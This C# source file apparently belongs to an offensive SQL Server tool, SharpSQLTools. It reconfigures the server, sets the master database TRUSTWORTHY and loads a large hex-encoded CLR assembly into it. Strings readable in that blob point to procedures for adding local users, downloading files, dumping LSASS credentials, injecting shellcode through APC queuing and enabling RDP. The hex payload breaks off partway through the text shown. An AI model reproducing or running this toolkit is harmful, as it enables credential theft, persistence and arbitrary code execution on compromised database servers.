﻿using System;
using System.Collections.Generic;
using System.Data.SqlClient;
using System.Linq;
using System.Text;

namespace SharpSQLTools
{
    class Setting
    {
        private String Command = String.Empty;
        SqlConnection Conn = null;
        public Setting(SqlConnection Connection)
        {
            Conn = Connection;
        }

        /// <summary>
        /// 判断文件是否存在
        /// </summary>
        /// <param name="path">文件路径</param>
        /// <param name="value">返回值匹配</param>
        /// <returns></returns>
        public bool File_Exists(String path, int value)
        {
            Command = String.Format(@"
DECLARE @r INT
EXEC master.dbo.xp_fileexist '{0}', @r OUTPUT
SELECT @r as n", path);
            if (int.Parse(Batch.RemoteExec(Conn, Command, false)) == value)
                return true;
            return false;
        }


        /// <summary>
        /// 设置 configuration
        /// </summary>
        /// <param name="option">查询内容选项</param>
        /// <param name="value">返回值匹配</param>
        /// <returns></returns>
        public bool Set_configuration(String option, int value)
        {
            Command = String.Format("exec master.dbo.sp_configure '{0}',{1}; RECONFIGURE;", option, value);
            Batch.RemoteExec(Conn, Command, false);
            return Check_configuration(option, value);
        }
        /// <summary>
        /// 设置 permission_set
        /// </summary>
        /// <returns></returns>
        public void Set_permission_set()
        {
            Command = String.Format("ALTER DATABASE master SET TRUSTWORTHY ON;");
            Batch.CLRExec(Conn, Command);
        }

        /// <summary>
        /// CREATE ASSEMBLY
        /// </summary>
        /// <returns></returns>
        public void CREATE_ASSEMBLY()
        {
            Command = String.Format(@"CREATE ASSEMBLY [CLR_module]
    AUTHORIZATION [dbo]
    FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300737CB4600000000000000000E00002210B010B0000AC000000060000000000009ECA00000020000000E000000000001000200000000200000400000000000000040000000000000000200100000200000000000003004085000010000010000000001000001000000000000010000000000000000000000050CA00004B00000000E00000B002000000000000000000000000000000000000000001000C00000018C900001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000A4AA00000020000000AC000000020000000000000000000000000000200000602E72737263000000B002000000E000000004000000AE0000000000000000000000000000400000402E72656C6F6300000C000000000001000002000000B20000000000000000000000000000400000420000000000000000000000000000000080CA0000000000004800000002000500F8470000208100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000133004006D000000010000111200FE15040000021200047D020000041200057D030000041200177D050000041200147D0600000412000E047D070000041200147D090000040317120016280100000616FE0116FE010B072C10280800000A72010000706F0900000A2A280800000A722D0000706F0900000A2A0000001330050045000000020000111200FE15030000021200057D01000004030419120017280200000616FE0116FE010B072C10280800000A725D0000706F0900000A2A280800000A72990000706F0900000A2A1E02280A00000A2A00000013300500200000000300001173050000060A72D90000700B06140203146F03000006061407026F040000062A1E02280A00000A2A1B300400A50000000400001102280C00000A74140000010A066F0D00000A74160000010B076F0E00000A0C0318730F00000A0D20000400008D1A00000113040811041611048E696F1000000A13052B1A0911041611056F1100000A0811041611048E696F1000000A130511051630E1096F1200000A086F1200000A076F1300000A066F1400000A171307DE221306280800000A72F700007011066F1500000A281600000A6F0900000A161307DE0011072A0000000110000000000000808000221C000001A6020328080000062C10280800000A72150100706F0900000A2A280800000A723F0100706F0900000A2A1E02280A00000A2A0000133002001900000005000011281700000A0A06731800000A0B0720200200006F1900000A2A0000001B3004007E0000000600001103281A00000A2C1B280800000A726301007003281B00000A6F0900000A03281C00000A02281D00000A0A0317730F00000A0B071716731E00000A0C080616068E696F1100000ADE0A082C06086F1F00000ADCDE0A072C06076F1F00000ADCDE1D0D280800000A72C1010070096F2000000A281B00000A6F0900000ADE002A00000128000002003B000D48000A00000000020032002254000A00000000000000006060001D1C0000011B3007004F02000007000011150A7E2100000A0B160C140D061533137215020070282200000A13041104169A0D2B2806282300000A0DDE1F1305280800000A722102007011056F2000000A281B00000A6F0900000ADE28096F2400000A7215020070282500000A2C17280C0000062D10280800000A72490200706F0900000A2A096F2600000A0C096F2700000A0BDE301306280800000A72AB020070096F2400000A096F2600000A8C2600000111066F2000000A282800000A6F0900000ADEBF161307720503007002088C27000001282900000A1308722703007002088C27000001282900000A1309280800000A7249030070096F2400000A096F2600000A8C260000011108282800000A6F0900000A1108181918732A00000A130A0708110A6F2B00000A187E2100000A7E2100000A7E2100000A280B0000061307DE0C110A2C07110A6F1F00000ADC110739EE000000280800000A72850300706F0900000A280800000A72AF03007011081109282900000A6F0900000A11081109280D000006280800000A72FB0300701108281B00000A6F0900000A1108281C00000A280800000A721D040070088C27000001281B00000A6F0900000A72A6040070282C00000A130B72D4040070130C7E2D00000A72D60400706F2E00000A130D110D2C187230050070110D72380500706F2F00000A281B00000A130C0615335E280800000A7250050070110C281B00000A6F0900000A280800000A7288050070110B281B00000A6F0900000A280800000A72BE050070110B281B00000A6F0900000A2A280800000A727706007011078C2E000001281B00000A6F0900000A2A000128000000002300092C001F1C00000100007400108400301C000001020010012232010C000000009602283000000A2D16280800000A72A106007002281B00000A6F0900000A2A02280E0000062A1E02280A00000A2A00001330040095010000080000110272F50600706F3200000A2C4D02178D31000001130F110F161F209D110F6F3300000A0A7211070070282C00000A0B722707007007281B00000A0C06179A72D4040070282500000A2C0708280F0000062A06179A280F0000062A02723B0700706F3200000A2C0628210000062A02724F0700706F3200000A2C0628240000062A02725F0700706F3200000A2C2B02178D3100000113101110161F209D11106F3300000A0D09179A130409189A13051104110528060000062A0272770700706F3200000A2C2E02178D3100000113111111161F209D11116F3300000A13061106179A13071106189A13081107110828090000062A0272910700706F3200000A398200000002178D3100000113121112161F209D11126F3300000A13091109169A7291070070282500000A2C161109179A130A1109189A130B110A110B281D0000062A1109169A72AB070070282500000A2C161109179A130C1109189A130D110C110D281E0000062A1109169A72C7070070282500000A2C1D1109179A130E110E281F0000062A280800000A72E30700706F0900000A2A1E02280A00000A2A00000013300A003F000000090000111A0A1201FE15100000021202FE150E00000216283400000A0216283400000A16283400000A160616283400000A16283400000A12011202281A00000626082A0013300600280000000A000011028E698D1A0000010A160B2B1306070207910307038E695D9161D29C0717580B07028E6932E7062A1B300500650100000B000011280800000A72FF07007002281B00000A6F0900000A280800000A723308007003281B00000A6F0900000A02283500000A0A140B06283600000A036F3700000A281C0000060B160C7253080070281B0000060D280800000A72930800706F0900000A20FF0F1F001612037B3700000428130000061304280800000A72CD08007012037C37000004283800000A281B00000A6F0900000A11047E2100000A078E6920003000001F4028140000061305280800000A72FF0800706F0900000A1104110507078E69120228150000062C4B20FB0300001612037B3800000428160000061306110511067E2100000A2817000006261106281800000626280800000A723509007012037C37000004283800000A281B00000A6F0900000A11042819000006130711072C0F280800000A72A10900706F0900000A280800000A72DD0900706F0900000ADE1F1308280800000A72F700007011086F1500000A281600000A6F0900000ADE002A000000411C0000000000000000000045010000450100001F0000001C0000011B3005006D0100000C000011280800000A72450A007002281B00000A6F0900000A280800000A723308007003281B00000A6F0900000A02283900000A0A06283500000A0B140C07283600000A036F3700000A281C0000060C160D7253080070281B0000061304280800000A72930800706F0900000A20FF0F1F001612047B3700000428130000061305280800000A72CD08007012047C37000004283800000A281B00000A6F0900000A11057E2100000A088E6920003000001F4028140000061306280800000A72FF0800706F0900000A1105110608088E69120328150000062C4B20FB0300001612047B3800000428160000061307110611077E2100000A2817000006261107281800000626280800000A723509007012047C37000004283800000A281B00000A6F0900000A11052819000006130811082C0F280800000A72A10900706F0900000A280800000A72DD0900706F0900000ADE1F1309280800000A72F700007011096F1500000A281600000A6F0900000ADE002A000000411C000000000000000000004D0100004D0100001F0000001C0000011B300500380100000D000011280800000A72810A007002281B00000A6F0900000A02281D00000A0A160B7253080070281B0000060C280800000A72930800706F0900000A20FF0F1F001612027B3700000428130000060D280800000A72CD08007012027C37000004283800000A281B00000A6F0900000A097E2100000A068E6920003000001F4028140000061304280800000A72FF0800706F0900000A09110406068E69120128150000062C4B20FB0300001612027B3800000428160000061305110411057E2100000A2817000006261105281800000626280800000A723509007012027C37000004283800000A281B00000A6F0900000A092819000006130611062C0F280800000A72A10900706F0900000A280800000A72DD0900706F0900000ADE1F1307280800000A72F700007011076F1500000A281600000A6F0900000ADE002A411C0000000000000000000018010000180100001F0000001C0000011E02280A00000A2A1B300400F80000000E000011733A00000A0A28220000066F3B00000A13092B311209283C00000A0B0772AF0A007017283D00000A0C08169A6F1500000A0D08179A6F1500000A1304060911046F3E00000A1209283F00000A2DC6DE0E1209FE160300001B6F1F00000ADC280800000A72B30A00706F0900000A72D40400701305161306284000000A13071107130A16130B2B41110A110B9A13080611086F2400000A12056F4100000A2C23280800000A72D30A007011086F2400000A1105282900000A6F0900000A110617581306110B1758130B110B110A8E6932B711062D0F280800000A72150B00706F0900000A280800000A726B0B00706F0900000A284200000A2A01100000020012003E50000E0000000013300400AD1800000F000011734300000A0A06202D0200008D1B0000010B071672830B0070A2071772AD0B0070A2071872D50B0070A20719720B0C0070A2071A72230C0070A2071B724B0C0070A2071C72730C0070A2071D72A10C0070A2071E72C30C0070A2071F0972F10C0070A2071F0A723B0D0070A2071F0B726B0D0070A2071F0C728F0D0070A2071F0D72B10D0070A2071F0E72D90D0070A2071F0F722B0E0070A2071F1072670E0070A2071F11729D0E0070A2071F1272BF0E0070A2071F1372E90E0070A2071F1472110F0070A2071F15726F0F0070A2071F1672950F0070A2071F1772C70F0070A2071F1872E30F0070A2071F197207100070A2071F1A721F100070A2071F1B723B100070A2071F1C7255100070A2071F1D726F100070A2071F1E728F100070A2071F1F72A9100070A2071F2072D9100070A2071F2172F9100070A2071F227219110070A2071F237243110070A2071F24725D110070A2071F257279110070A2071F267293110070A2071F2772BB110070A2071F2872E1110070A2071F297203120070A2071F2A7225120070A2071F2B7249120070A2071F2C7263120070A2071F2D728D120070A2071F2E72B5120070A2071F2F72D1120070A2071F3072F9120070A2071F31720F130070A2071F32722D130070A2071F33724B130070A2071F347277130070A2071F357293130070A2071F3672BD130070A2071F3772E1130070A2071F387205140070A2071F397231140070A2071F3A7267140070A2071F3B7293140070A2071F3C72B9140070A2071F3D72D1140070A2071F3E72E9140070A2071F3F7203150070A2071F40721B150070A2071F417233150070A2071F427255150070A2071F437273150070A2071F447295150070A2071F4572B9150070A2071F4672CF150070A2071F4772E7150070A2071F4872F9150070A2071F49721D160070A2071F4A723F160070A2071F4B7265160070A2071F4C7285160070A2071F4D72B1160070A2071F4E72D3160070A2071F4F72E9160070A2071F50721B170070A2071F517237170070A2071F527253170070A2071F537275170070A2071F54728F170070A2071F5572A3170070A2071F5672CD170070A2071F5772F9170070A2071F58721B180070A2071F597249180070A2071F5A7279180070A2071F5B72A7180070A2071F5C72CD180070A2071F5D72ED180070A2071F5E7215190070A2071F5F7237190070A2071F60724F190070A2071F61727F190070A2071F6272AD190070A2071F6372C7190070A2071F6472DD190070A2071F6572ED190070A2071F6672FF190070A2071F6772171A0070A2071F6872331A0070A2071F6972471A0070A2071F6A725F1A0070A2071F6B72811A0070A2071F6C72A51A0070A2071F6D72CD1A0070A2071F6E72F31A0070A2071F6F72131B0070A2071F7072371B0070A2071F7172551B0070A2071F7272751B0070A2071F7372911B0070A2071F7472AF1B0070A2071F7572D31B0070A2071F7672EF1B0070A2071F77720B1C0070A2071F78722B1C0070A2071F7972531C0070A2071F7A726F1C0070A2071F7B728F1C0070A2071F7C72B11C0070A2071F7D72D11C0070A2071F7E72F11C0070A2071F7F720F1D0070A2072080000000722F1D0070A2072081000000724D1D0070A207208200000072791D0070A207208300000072951D0070A207208400000072AD1D0070A207208500000072C51D0070A207208600000072DB1D0070A207208700000072F31D0070A207208800000072211E0070A207208900000072551E0070A207208A00000072891E0070A207208B00000072C51E0070A207208C00000072011F0070A207208D00000072211F0070A207208E00000072511F0070A207208F000000726F1F0070A2072090000000727F1F0070A207209100000072A11F0070A207209200000072E91F0070A20720930000007227200070A20720940000007247200070A2072095000000725F200070A20720960000007277200070A2072097000000728D200070A207209800000072A3200070A207209900000072BB200070A207209A00000072D5200070A207209B00000072E7200070A207209C000000721B210070A207209D0000007251210070A207209E000000728D210070A207209F00000072C5210070A20720A0000000720B220070A20720A10000007247220070A20720A2000000727D220070A20720A300000072B3220070A20720A400000072EF220070A20720A50000007223230070A20720A6000000725D230070A20720A70000007295230070A20720A800000072B5230070A20720A900000072D1230070A20720AA0000007217240070A20720AB0000007231240070A20720AC0000007251240070A20720AD0000007275240070A20720AE0000007297240070A20720AF00000072B3240070A20720B000000072D7240070A20720B100000072F1240070A20720B20000007223250070A20720B30000007267250070A20720B4000000728F250070A20720B500000072C3250070A20720B600000072F5250070A20720B7000000721F260070A20720B8000000724D260070A20720B90000007279260070A20720BA00000072A9260070A20720BB00000072DB260070A20720BC000000720B270070A20720BD0000007221270070A20720BE0000007247270070A20720BF0000007269270070A20720C0000000728D270070A20720C100000072B5270070A20720C200000072E9270070A20720C30000007211280070A20720C40000007235280070A20720C50000007255280070A20720C6000000727D280070A20720C700000072AB280070A20720C800000072C9280070A20720C900000072ED280070A20720CA000000721B290070A20720CB0000007251290070A20720CC000000727F290070A20720CD00000072A9290070A20720CE00000072D7290070A20720CF00000072F9290070A20720D000000072152A0070A20720D100000072332A0070A20720D200000072512A0070A20720D300000072752A0070A20720D400000072A92A0070A20720D500000072C92A0070A20720D6000000720D2B0070A20720D700000072292B0070A20720D800000072452B0070A20720D900000072652B0070A20720DA00000072912B0070A20720DB00000072BD2B0070A20720DC00000072DD2B0070A20720DD00000072FD2B0070A20720DE000000721B2C0070A20720DF000000723B2C0070A20720E0000000725B2C0070A20720E100000072852C0070A20720E2000000729D2C0070A20720E300000072BB2C0070A20720E400000072E32C0070A20720E500000072412D0070A20720E600000072672D0070A20720E700000072872D0070A20720E800000072A92D0070A20720E900000072CD2D0070A20720EA00000072FB2D0070A20720EB00000072352E0070A20720EC000000725B2E0070A20720ED00000072872E0070A20720EE00000072B12E0070A20720EF00000072DB2E0070A20720F000000072052F0070A20720F100000072232F0070A20720F200000072412F0070A20720F300000072712F0070A20720F400000072A72F0070A20720F500000072CF2F0070A20720F60000007211300070A20720F7000000723F300070A20720F8000000725D300070A20720F90000007279300070A20720FA000000729F300070A20720FB00000072BD300070A20720FC00000072DD300070A20720FD00000072F9300070A20720FE0000007219310070A20720FF0000007237310070A20720000100007257310070A2072001010000728F310070A207200201000072C7310070A2072003010000720D320070A2072004010000722D320070A2072005010000724B320070A20720060100007267320070A20720070100007285320070A207200801000072B1320070A207200901000072CD320070A207200A01000072F7320070A207200B0100007217330070A207200C010000723B330070A207200D0100007259330070A207200E01000072B7330070A207200F01000072EF330070A20720100100007229340070A2072011010000724D340070A20720120100007277340070A2072013010000729F340070A207201401000072D3340070A20720150100007207350070A20720160100007237350070A20720170100007251350070A20720180100007285350070A207201901000072B3350070A207201A01000072D1350070A207201B01000072EB350070A207201C0100007205360070A207201D0100007239360070A207201E010000728F360070A207201F01000072BD360070A207202001000072E1360070A20720210100007201370070A2072022010000721D370070A20720230100007243370070A20720240100007267370070A2072025010000728F370070A207202601000072BD370070A207202701000072D3370070A207202801000072F9370070A20720290100007211380070A207202A010000723D380070A207202B0100007279380070A207202C01000072B1380070A207202D01000072DF380070A207202E0100007209390070A207202F010000722F390070A2072030010000725F390070A2072031010000728B390070A207203201000072DD390070A2072033010000720B3A0070A207203401000072333A0070A2072035010000725F3A0070A2072036010000728F3A0070A207203701000072A93A0070A207203801000072C33A0070A207203901000072FB3A0070A207203A01000072273B0070A207203B010000724B3B0070A207203C01000072713B0070A207203D01000072993B0070A207203E01000072F33B0070A207203F01000072353C0070A207204001000072553C0070A207204101000072793C0070A2072042010000729F3C0070A207204301000072C13C0070A207204401000072EB3C0070A207204501000072153D0070A2072046010000723F3D0070A207204701000072833D0070A207204801000072C13D0070A207204901000072E93D0070A207204A010000721B3E0070A207204B010000724B3E0070A207204C01000072673E0070A207204D01000072973E0070A207204E01000072C73E0070A207204F01000072213F0070A2072050010000724B3F0070A207205101000072713F0070A207205201000072993F0070A207205301000072C93F0070A207205401000072F33F0070A20720550100007215400070A2072056010000723B400070A20720570100007259400070A2072058010000727D400070A207205901000072A5400070A207205A01000072D1400070A207205B01000072EF400070A207205C010000721D410070A207205D010000724B410070A207205E0100007269410070A207205F0100007287410070A207206001000072A7410070A207206101000072C3410070A207206201000072DF410070A2072063010000720D420070A2072064010000722F420070A20720650100007259420070A20720660100007277420070A207206701000072AF420070A207206801000072E1420070A2072069010000720D430070A207206A010000723D430070A207206B010000724F430070A207206C0100007279430070A207206D01000072A5430070A207206E01000072D9430070A207206F01000072F1430070A20720700100007229440070A20720710100007239440070A20720720100007265440070A20720730100007281440070A2072074010000729F440070A207207501000072D1440070A20720760100007209450070A20720770100007227450070A20720780100007245450070A20720790100007261450070A207207A010000727B450070A207207B010000729B450070A207207C01000072B7450070A207207D0100007203460070A207207E010000722F460070A207207F0100007243460070A20720800100007257460070A20720810100007271460070A2072082010000728B460070A207208301000072A1460070A207208401000072B9460070A207208501000072D1460070A207208601000072E7460070A20720870100007201470070A2072088010000721B470070A20720890100007233470070A207208A010000724B470070A207208B0100007265470070A207208C01000072B7470070A207208D01000072D7470070A207208E010000720B480070A207208F010000722D480070A2072090010000724D480070A2072091010000726D480070A207209201000072A5480070A207209301000072C5480070A207209401000072E9480070A207209501000072FF480070A20720960100007231490070A20720970100007259490070A2072098010000728D490070A207209901000072AD490070A207209A01000072C7490070A207209B01000072034A0070A207209C01000072414A0070A207209D010000729F4A0070A207209E01000072D34A0070A207209F01000072094B0070A20720A001000072254B0070A20720A101000072474B0070A20720A201000072674B0070A20720A301000072894B0070A20720A401000072A94B0070A20720A501000072C94B0070A20720A601000072ED4B0070A20720A7010000720D4C0070A20720A8010000722D4C0070A20720A9010000724D4C0070A20720AA01000072694C0070A20720AB01000072874C0070A20720AC01000072A74C0070A20720AD01000072C34C0070A20720AE01000072DF4C0070A20720AF01000072F94C0070A20720B001000072174D0070A20720B101000072374D0070A20720B201000072514D0070A20720B3010000726D4D0070A20720B4010000728D4D0070A20720B501000072AD4D0070A20720B601000072CF4D0070A20720B701000072F54D0070A20720B801000072174E0070A20720B9010000723D4E0070A20720BA01000072594E0070A20720BB01000072774E0070A20720BC01000072974E0070A20720BD01000072B74E0070A20720BE01000072D74E0070A20720BF01000072F74E0070A20720C0010000721D4F0070A20720C1010000723D4F0070A20720C2010000725D4F0070A20720C3010000727D4F0070A20720C4010000729D4F0070A20720C501000072BB4F0070A20720C601000072EB4F0070A20720C70100007215500070A20720C80100007241500070A20720C9010000725F500070A20720CA0100007279500070A20720CB0100007293500070A20720CC01000072B5500070A20720CD01000072DB500070A20720CE01000072FF500070A20720CF010000721B510070A20720D00100007237510070A20720D10100007265510070A20720D20100007293510070A20720D301000072C3510070A20720D401000072DF510070A20720D501000072FB510070A20720D60100007213520070A20720D7010000722D520070A20720D80100007249520070A20720D90100007265520070A20720DA0100007281520070A20720DB0100007297520070A20720DC01000072BD520070A20720DD01000072E3520070A20720DE0100007209530070A20720DF0100007221530070A20720E0010000723D530070A20720E1010000726F530070A20720E201000072AB530070A20720E301000072D5530070A20720E401000072F9530070A20720E50100007213540070A20720E60100007255540070A20720E7010000727D540070A20720E80100007295540070A20720E901000072AD540070A20720EA01000072D9540070A20720EB01000072F5540070A20720EC0100007219550070A20720ED010000723B550070A20720EE010000725B550070A20720EF010000727B550070A20720F0010000729D550070A20720F101000072C1550070A20720F201000072E7550070A20720F30100007207560070A20720F4010000722B560070A20720F50100007255560070A20720F6010000727B560070A20720F7010000729D560070A20720F801000072BF560070A20720F901000072DB560070A20720FA01000072F5560070A20720FB010000720F570070A20720FC0100007235570070A20720FD0100007263570070A20720FE0100007291570070A20720FF01000072BF570070A207200002000072E5570070A20720010200007201580070A2072002020000721F580070A2072003020000723F580070A2072004020000725B580070A20720050200007285580070A207200602000072AF580070A207200702000072C7580070A207200802000072FB580070A2072009020000721F590070A207200A0200007241590070A207200B0200007261590070A207200C020000727F590070A207200D020000729B590070A207200E02000072B3590070A207200F02000072E1590070A2072010020000720D5A0070A207201102000072475A0070A2072012020000726D5A0070A207201302000072975A0070A207201402000072B15A0070A207201502000072CD5A0070A207201602000072E95A0070A207201702000072095B0070A207201802000072235B0070A2072019020000723F5B0070A207201A02000072595B0070A207201B02000072775B0070A207201C02000072915B0070A207201D02000072B35B0070A207201E02000072D75B0070A207201F02000072F35B0070A2072020020000720B5C0070A207202102000072255C0070A207202202000072435C0070A207202302000072615C0070A207202402000072935C0070A207202502000072C75C0070A207202602000072F95C0070A207202702000072275D0070A2072028020000725F5D0070A207202902000072895D0070A207202A02000072B35D0070A207202B02000072E75D0070A207202C02000072075E0070A2076F4400000A062A1E02280A00000A2A000000133004006A010000100000117E2D00000A0A06722D5E00706F2E00000A0B07728F5E00706F2F00000A6F1500000A0C0672B55E00706F2E00000A0D0972405F00706F2F00000A6F1500000A1304096F4500000A0872565F00706F3200000A2C26280800000A725A5F00706F0900000A280800000A72905F00701104281B00000A6F0900000A2A72B45F0070284600000A06722D5E00706F4700000A13051105728F5E007072565F00701A6F4800000A11056F4500000A734900000A130611066F4A00000A72FE5F00706F4B00000A11066F4A00000A166F4C00000A11066F4A00000A176F4D00000A11066F4A00000A176F4E00000A11066F4A00000A176F4F00000A11066F4A00000A176F5000000A11066F5100000A2611066F5200000A72366000706F5300000A11066F5200000A727A6000706F5300000A11066F5200000A72DA6000706F5300000A11066F5400000A11066F5500000A11066F5600000A280800000A72905F00701104281B00000A6F0900000A2A1E02280A00000A2A000042534A4201000100000000000C00000076322E302E35303732370000000005006C000000900C0000237E0000FC0C0000780F000023537472696E677300000000741C0000E460000023555300587D0000100000002347554944000000687D0000B803000023426C6F620000000000000002000001573D021C0902000000FA253300160000010000003F00000012000000500000002500000049000000560000002700000004000000040000001000000005000000030000000B00000001000000030000000900000000000A0001000000000006002901220106003001220106003A01220106002F021002060075065A0606008E0610020600A10610020600990810020600B70810020600F708E4082B000B09000006003A091A0906005A091A090600780910020A00BF09A4090A00CA09A4090600E00910020600F60910020E000C0A010A0E001E0A010A0E002D0A010A0E00450A010A06005F0A550A0600780A550A0600830A550A06008C0A22010600B10A22010600BF0A22010600EF0AD50A06000A0BD50A06001B0BD50A0600370B550A0E00740B5E0B0E007F0B5E0B06008F0B22010600AF0B22010E00BB0BE4080600130C22010600190C22010600200C550A06002B0C550A0600510C350C0600730C22010600A60C960C0600AF0C960C0600DC0C22010600E40C550A0A00EE0CA40906000D0D22010600470D220106006C0D600D0600940D5A061700A10D00000E00E50DC60D0E00EB0DC60D06001E0E22010600290E5A060600400E220106005F0E960C0E007A0EE4080600220F550A0600410F550A0E006E0F580F00000000010000000000010001000100100019002E000500010001000A011100390000000900010006000A01110053000000090002000600000010005F002E0005000A0006000000100067002E0005000A0008000000100070002E0005000A000B00010010007A00000005000A001100000010008B002E0005000A001300020100009B0000000D000A00210002010000AF0000000D001800210002010000BC0000000D002400210002010000CA0000000D002A0021000A011000D50000000900350021000D011000E90000000900390021000A0110000301000009003F002100000010000F012E000500510021000000100015012E0005005100240006008001320006008E0132000600990132000600A80135000600BB0135000600C60132000600D50132000600DD0135000600E90132000606FE02350056800603AD0056800A03AD0056801403AD0056802103AD0056803803AD0056804A03AD0056805D03AD005680D502AD0056806D03AD0056807603AD0056808503AD0056809603AD005680AE03AD000606FE0235005680BA03F2005680C403F2005680D303F2005680DF03F2005680EB03F2005680FB03F20056800D04F20056801E04F20056802A04F20056803F04F20056804D04F2000606FE02350056805804000156806304000156806F0400015680790400015680880400010606FE02350056809204180156809F0418015680B10418015680C80418015680DF0418015680ED0418015680FB04180156800A05180156801905180156802E05180106004505260106004E05260106005605350006006205350006006D05260106007705260106008205260106008C0526010600960526010600A00526010100AD0529010100B00526010100BB0526010100C50526010100CD0529010100D10529010100D50529010100DD0529010100E50529010100F305290101000106290106001206290106001A062C01010026062C0101003106260101003D06260101004706260101005206260100000000800091203F010A00010000000000800091204A0114000500502000000000860062011F000A00CC200000000086006A0127000E001D210000000086187A012E0011002821000000009600FB013800110054210000000086187A012E0013005C21000000009600FF013E00130020220000000096000C02380015004A220000000086187A012E00170000000000800091203A024400170054220000000096004C0250001E007C220000000096005C0238001E003023000000009600650254002000B4250000000096000C0254002100DA250000000086187A012E002200E4250000000096006E025400220085270000000086187A012E002300000000008000962076025900230000000000800096208202600026000000000080009620910269002B000000000080009620A402730030000000000080009620AF027B0033000000000080009620BC02820036000000000080009620C902870037000000000080009620D5028C0038009027000000009600E3029E004200DC27000000009600F002A400430010280000000096000C0238004500A029000000009600F40238004700382B000000009600F90254004900982C0000000086187A012E004A00A02C0000000096000C022F014A00B42D0000000096007C0633014A006D460000000086187A012E004A0078460000000096000C022F014A00EE470000000086187A012E004A0000200100830600000200AF0600000300B50600000400B90600200100830600200200C20600000300AF0600000400B50600000500CC0600000100D90600000200E40600000300ED0600000400F60600000100D90600000200010700000300E40600000100E40600000200ED06000001000B07000002000F07000001001807000002001C07000001004505000002002607000003003007000004003607000005003F07000006004807000007005807000001006607000002006D07000001007507000001007507000001007D0700000100810700000200910700000300560500000100450500000200A00700000300AA0700000400B10700000500C20700000100450500000200CC0700200300DA0700000400E30700000500E907000001008107000002009107000003006205000001000008000002004E05000003000708000001004E05000001000E08000001001608000002002808000003003608000004004408000005005408000006006408000007007208000008008008010009008D0802000A00A50800000100C40800000100CF0800000200D60800000100DA0800000200D60800000100DF0800000200D60800000100DF0831007A013B0141007A012E0049007A012E0051007A01450161007A014B0169007A012E0071007A0150017900D20955018100DB09500109007A012E0089007A0166019900170A72019900390A7801A900660A7D01C1007A018201B900910A8901B900960A9101B9009C0A2E00A9009C0A2E009900A20A2E000900A80A9901D900B80A9D01E900FF0AB401F1007A01B901F1002E0BBF0101013C0BCC01D900430BD10101014A0B54000101510BD70109017A01DD0119019B0B2E00E100A30B99012101B60B26012901C30BF3012901D60BFB012901E50B9901D900F50B3E002901010C02022901080C0602D900430B0A02D900430B1202C1007A011902C100600C260259017F0C2C026101BB0C31026901C80C36026901D30C3D0279013C0BCC0181017A012E00D900040D5D02D900120D620221013B0D870291014F0DD7019901750D9A0299017F0DA0023101A80A99010101880D2C020C007A012E001400AC0DE3021C00BA0DF402B101120DF9020C00F80D03031C00FC0D0B032901050E0F030C00120E1603C101210E2F0114007A012E001400370E420369019C0A2E00D101480E54006901520E36026901710E570329017A012E0029018B0E6003E101990E5001E101A60E6603E101BA0E6603E101D40E6603E101EF0E6603E101090F660329011C0F0B0329012F0F6B03F101480E500129014C0F2E0029019C0A2E00F9019B0B2E0008002C00B10008003000B60008003400BB0008003800C00008003C00C50008004000CA0008004400CF0008004800D40008004C00D90008005000DE0008005400E30008005800E80008005C00ED0008006400B60008006800BB0008006C00C00008007000C50008007400CA0008007800CF0008007C00D40008008000D90008008400DE0008008800F60008008C00FB0008009400E80008009800040108009C0009010800A0000E010800A40013010800AC00C5000800B000CA000800B400CF000800B800D4000800BC00B6000800C000BB000800C4001C010800C800C0000800CC0021010800D00021012E00230085032E002B008E032E003300970320028B01B600030041010B0041010D0041015B0043015A0160016C01A301C501E701420269028C029402A602B602C7021F034D0371038B09C90A180D210D2E0DD502DD02ED02000103003F010100000105004A010100450317003A0202004401270076020300440129008202030044012B009102030044012D00A402040044012F00AF02040044013100BC02040044013300C902030046033500D50205000480000000000000000000000000000000002E00000002000000000000000000000001001901000000000200000000000000000000000100980900000000020000000000000000000000010022010000000003000200040002000A0009000B0009000C0009000D0009000E0009000F0009001000090000000000003C4D6F64756C653E00434C525F6D6F64756C652E646C6C004C6F63616C47726F75705573657248656C70657200434C525F6D6F64756C65004C4F43414C47524F55505F4D454D424552535F494E464F5F3300555345525F494E464F5F31006164647573657200646F776E6C6F61640064756D706C736173730053746F72656450726F63656475726573007368656C6C636F64656C6F616465720050726F6365737341636365737352696768747300546872656164416363657373004D656D416C6C6F636174696F6E004D656D50726F746563740050524F434553535F494E464F524D4154494F4E0050524F434553535F42415349435F494E464F524D4154494F4E0053544152545550494E464F00676574617600524450006D73636F726C69620053797374656D004F626A6563740056616C75655479706500456E756D004E657455736572416464004E65744C6F63616C47726F75704164644D656D6265727300416464557365720047726F75704164644D656D62657273002E63746F7200646F6D61696E616E646E616D650075737269315F6E616D650075737269315F70617373776F72640075737269315F70617373776F72645F6167650075737269315F707269760075737269315F686F6D655F64697200636F6D6D656E740075737269315F666C6167730075737269315F7363726970745F706174680061646400446F776E6C6F616446696C650072756E0053797374656D2E52756E74696D652E496E7465726F705365727669636573005361666548616E646C65004D696E6944756D70577269746544756D7000497348696768496E7465677269747900436F6D7072657373004D696E6964756D7000436C7245786563004F70656E50726F63657373005669727475616C416C6C6F63457800577269746550726F636573734D656D6F7279004F70656E5468726561640051756575655573657241504300526573756D6554687265616400436C6F736548616E646C650043726561746550726F6365737300537461727450726F63657373005830720072756E310072756E320076616C75655F5F00416C6C005465726D696E61746500437265617465546872656164005669727475616C4D656D6F72794F7065726174696F6E005669727475616C4D656D6F727952656164005669727475616C4D656D6F72795772697465004475706C696361746548616E646C650053657451756F746100536574496E666F726D6174696F6E005175657279496E666F726D6174696F6E0051756572794C696D69746564496E666F726D6174696F6E0053796E6368726F6E697A65005445524D494E4154450053555350454E445F524553554D45004745545F434F4E54455854005345545F434F4E54455854005345545F494E464F524D4154494F4E0051554552595F494E464F524D4154494F4E005345545F5448524541445F544F4B454E00494D504552534F4E415445004449524543545F494D504552534F4E4154494F4E005448524541445F48494A41434B005448524541445F414C4C004D454D5F434F4D4D4954004D454D5F52455345525645004D454D5F5245534554004D454D5F52455345545F554E444F00536563436F6D6D697400504147455F4558454355544500504147455F455845435554455F5245414400504147455F455845435554455F52454144575249544500504147455F455845435554455F5752495445434F505900504147455F4E4F414343455